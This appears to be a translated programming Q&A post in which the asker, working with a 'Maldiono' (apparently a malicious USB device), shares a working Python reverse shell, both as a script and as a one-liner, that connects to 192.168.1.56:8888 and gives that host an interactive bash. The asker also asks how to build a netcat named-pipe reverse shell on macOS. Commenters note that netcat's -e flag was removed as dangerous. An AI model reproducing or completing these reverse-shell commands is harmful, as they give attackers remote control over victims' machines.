【发布时间】:2021-11-29 13:21:51
【问题描述】:
所以我正在使用我的 Maldiono 做一些工作,并且我正在测试它在 OSX 上的工作方式。
现在在 python2.7 中将此代码用作单行代码可以正常工作。
from os import dup2
from subprocess import call
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.56",8888))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
call(["/bin/bash","-i"])
作为一个班轮python -c 'import socket; from subprocess import call; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.56",8888)); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);call(["/bin/bash","-i"]);'
我还想测试的是通过 bash 传递交互式 shell。由于 OSX 出于安全原因没有 -e 标志,我认为我应该能够创建一个命名管道并传递它。
但是,如果可以做到的话,我还没有找到答案。
/bin/sh > fifobash | nc 192.168.178.25 4444 < fifobash
我已经尝试了各种方法,但似乎我无处可去。欢迎大家指点。
【问题讨论】:
-
-e的标志是什么? -
@triplee 我猜他在谈论 netcat 没有
-e选项,该选项用于执行命令并被认为是危险的。 (man page) -
正是从 netcat 中删除了 -e 选项,至少在 OSX 上是这样,因为它被认为是危险的。
-
您能否进一步说明您想要实现的目标?
192.168.178.25 4444是什么?
标签: python macos python-2.7 fifo